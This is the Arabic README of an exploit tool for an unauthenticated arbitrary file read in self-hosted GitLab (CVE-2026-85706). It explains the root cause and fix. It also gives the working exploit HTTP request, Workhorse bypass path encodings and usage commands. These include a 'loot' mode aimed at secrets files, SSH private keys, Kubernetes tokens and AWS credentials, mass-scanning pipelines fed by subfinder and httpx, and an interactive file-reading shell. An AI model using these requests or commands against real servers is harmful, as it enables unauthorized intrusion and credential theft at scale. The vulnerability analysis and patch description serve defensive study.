
CVE-2026-85706 · قراءة ملفات غير مصادق عليها في GitLab CE/EE · إثبات مفهوم بحثي مع وضع oracle، وتعداد fd، واستهداف نهب متعدد المستويات
إثبات مفهوم لـ CVE-2026-85706، قراءة ملفات عشوائية بدون مصادقة تؤثر على GitLab CE/EE المُدار ذاتيًا.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| المتأثر | 18.7 إلى 19.1.7، 19.2.0 إلى 19.2.5، 19.3.0 إلى 19.3.1 |
| المُصلَّح | 19.1.8 / 19.2.6 / 19.3.2 (صدر في 2026-09-10) |
| المكوّن | Repository Commits API / Files API (Workhorse body-upload) |
| المُبلِّغ | s3ntago عبر GitLab HackerOne |
ثلاثة نقاط نهاية لواجهة برمجة تطبيقات المستودع تقع خلف requestBodyUploader الخاص بـ Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
يستدعي معالج Rails الدالة File.open(params['file.path']) قبل authenticate!. أربعة شروط تجعل هذا قابلًا للاستغلال:
1. المصادقة تُنفَّذ بعد قراءة الملف.
require_gitlab_workhorse! يتحقق فقط من ترويسة JWT الخاصة بـ Gitlab-Workhorse-Api-Request. يضع Workhorse تلك الترويسة على كل طلب يمرره، بما في ذلك التمريرات المباشرة العادية. الدالة الحقيقية authenticate! موجودة داخل authorize_push_to_branch!، والتي تُنفَّذ بعد أن يكون file_params_from_body_upload قد قرأ الملف من القرص بالفعل.
2. file.path يأتي مباشرة من الطلب.
يقرأ file_params_from_body_upload قيمة params['file.path'] كمسار مطلق دون أي تحقق. في التدفق المقصود، يكتب Workhorse الرفع إلى ملف مؤقت ويحقن هذا المعامل بنفسه. أما المهاجم فيرسله مباشرة كمعامل في سلسلة الاستعلام يشير إلى أي مكان في نظام الملفات.
3. مطابقة مسارات Workhorse لا تفكّ ترميز النسبة المئوية أبدًا.
يطابق Workhorse مسارات الرفع مقابل EscapedPath()، وهي بايتات URL الخام كما وردت. أما Puma فيفكّ تسلسلات %XX قبل التوجيه إلى Grape. لذا فإن ترميز حرف واحد في مقطع ثابت يجعل Workhorse يتخطى قاعدة إعادة الكتابة الخاصة به بينما لا يزال Rails يوجّه إلى المعالج الثغرة:
POST /api/v4/projects/1/repository/commits/ (شرطة مائلة زائدة)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (لاحقة تنسيق Grape)
4. يعيد Rack صدى محتوى الملف في استجابة الخطأ.
مع Content-Type: application/x-www-form-urlencoded، يُسلَّم محتوى الملف إلى Rack::Utils.parse_nested_query. أي % مجرد غير متبوع برقمين سداسيين عشريين يرفع InvalidParameterError: invalid %-encoding (<content>). كل شيء حتى أول & في الملف يُعاد في جسم الاستجابة 400.
الملفات التي لا تحتوي على % مجرد تُقرأ أيضًا قبل المصادقة. استجابة 401 من فرع urlencoded و500 من فرع multipart تؤكدان معًا وجود الملف وقابليته للقراءة بواسطة مستخدم git، مما يجعلهما مفيدين كأداة استعلام عن الوجود.
طلب الاستغلال:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file يقرأ أي ملف واحد؛ ينتقل تلقائيًا إلى أداة الاستعلام إذا لم يكن هناك مُشغِّل صدى--loot يشغّل 36 هدفًا عبر 7 مستويات، مرتبة حسب احتمالية مُشغِّل الصدى المؤكدة--oracle يشغّل فحصًا ثنائي الفرع (urlencoded + multipart) ضد الملفات بلا صدى ويخبرك ما إذا كان كل منها قابلًا للقراءة أو مفقودًا أو غير قابل للقراءة--proc يعدّد /proc/self/fd/0-31 للعثور على واصفات الملفات المفتوحة، ثم يقرأ أهداف الاستطلاع القياسية في /proc--shell ينتقل إلى صدفة تفاعلية لقراءة الملفات مع أوامر cat وloot وoracle وproject وcurl--pipe يقرأ الأهداف من stdin ويتعامل مع مخرجات subfinder ونص httpx وJSON httpx وJSON nuclei وسطور المضيفين الخامpip install requests
python3 gitread.py -h
يتطلب Python 3.10 أو أحدث. لا توجد تبعيات أخرى.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
يُكتشف stdin تلقائيًا عندما لا يكون TTY، لذا فإن --pipe اختياري في معظم الحالات.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
رموز الخروج: 0 تأكيد تسريب، 1 أداة استعلام فقط أو لا تسريبات في خط الأنابيب، 2 لم يُعثر على شيء.
أُصلح في commit الرئيسي 0d9ce3e7، وأُدرج بأثر رجعي كـ 1fe30154 / b43c8b26 / 0ff7b6b2.
تم تغيير ثلاثة أشياء في الوقت نفسه:
authenticate! قبل file_params_from_body_upload في جميع نقاط النهاية الثلاث بحيث لا يُقرأ الملف أبدًا لطلب غير مُصادَقfile.path يُقبل الآن فقط من كائن UploadedFile مُصنَّف ينتجه middleware الخاص بـ multipart، والذي يتطلب JWT صالحًا موقّعًا من Workhorse، وليس من معامل سلسلة استعلام خامInvalidParameterError يُدرج e.message في جسم الاستجابة بحيث تُغلق قناة الصدى حتى لو وجد أحدهم طريقة لتجاوز الإصلاحين الأولينأُدخلت الثغرة في GitLab 18.7 (ديسمبر 2025) عندما أُضيف متغير body-upload لواجهة برمجة تطبيقات commits.
صُنع بحب بواسطة @plur1bu5 -- إذا وجدته مفيدًا، نقدّر النجمة
--list يأخذ ملفًا من الأهداف، هدفًا في كل سطر--threads للفحص الجماعي المتزامن--proxy يوجّه كل شيء عبر Burp أو mitmproxy--raw يكتب البايتات الخام إلى stdout دون تزيين، مفيد للتوجيه إلى ملف--full يشغّل loot وoracle وproc في تمريرة واحدة-o| الحكم | المعنى |
|---|
leak | محتوى الملف ظهر في جسم الاستجابة 400، قراءة مؤكدة |
leak-frag | صدى جزئي عبر خطأ نوع المعامل |
read-noecho | قُرئ الملف قبل المصادقة لكن لا يحتوي على % مجرد لذا لم يظهر أي صدى |
READABLE | فرع multipart أعاد 500، الملف موجود وقابل للقراءة بواسطة مستخدم git |
missing | الخادم أفاد بعدم وجود الملف المحلي |
rewrite | أعاد Workhorse كتابة الجسم، هذا الشكل من التجاوز ميت |
noroute | Rails 404، النسخة مُرقَّعة أو المسار خاطئ |
server-error | 500، الملف موجود لكنه تسبب في خطأ تحليل |
| المستوى | الملفات | الصدى |
|---|
| 1 | gitlab.rb، gitlab.yml، redis.conf | تسريب المحتوى مباشرة |
| 2 | gitlab-secrets.json، secrets.yml، database.yml | أداة استعلام فقط، سداسي عشري خالص |
| 3 | .gitlab_workhorse_secret | أداة استعلام فقط |
| 4 | مفاتيح SSH الخاصة وauthorized_keys | أداة استعلام فقط |
| 5 | gitlab-shell.yml، gitaly.toml، إعداد PostgreSQL | أداة استعلام فقط |
| 6 | رمز حساب خدمة Kubernetes، بيانات اعتماد AWS | أداة استعلام فقط |
| 7 | اسم المضيف، hosts، passwd، os-release، environ | أداة استعلام فقط |
| العلم | الوصف |
|---|
-t، -u، --target | عنوان URL أساسي واحد |
--pipe | قراءة الأهداف من stdin |
--list FILE | ملف من الأهداف |
--file PATH | مسار مطلق واحد للقراءة |
--loot | تشغيل loot الكامل بـ 36 هدفًا |
--oracle | فحص ثنائي الفرع للملفات بلا صدى |
--proc | تعداد /proc fd والاستطلاع |
--shell | صدفة تفاعلية بعد الفحص |
--full | loot + oracle + proc |
--project-id ID | فرض معرّف مشروع بدلًا من الاكتشاف التلقائي |
--force | الفحص حتى لو لم تُطابق بصمة الهدف GitLab |
--raw | كتابة البايتات الخام إلى stdout، دون تزيين |
--proxy URL | وكيل HTTP/S |
--threads N | خيوط العمل لوضع خط الأنابيب (افتراضي 8) |
--timeout N | مهلة كل طلب بالثواني (افتراضي 15) |
-o FILE | حفظ التقرير (.json لمصفوفة منسقة، أي شيء آخر لـ JSONL) |
-q، --quiet | طباعة الإصابات فقط |
-v، --verbose | إظهار كل محاولة فحص |
--no-banner | كتم اللافتة |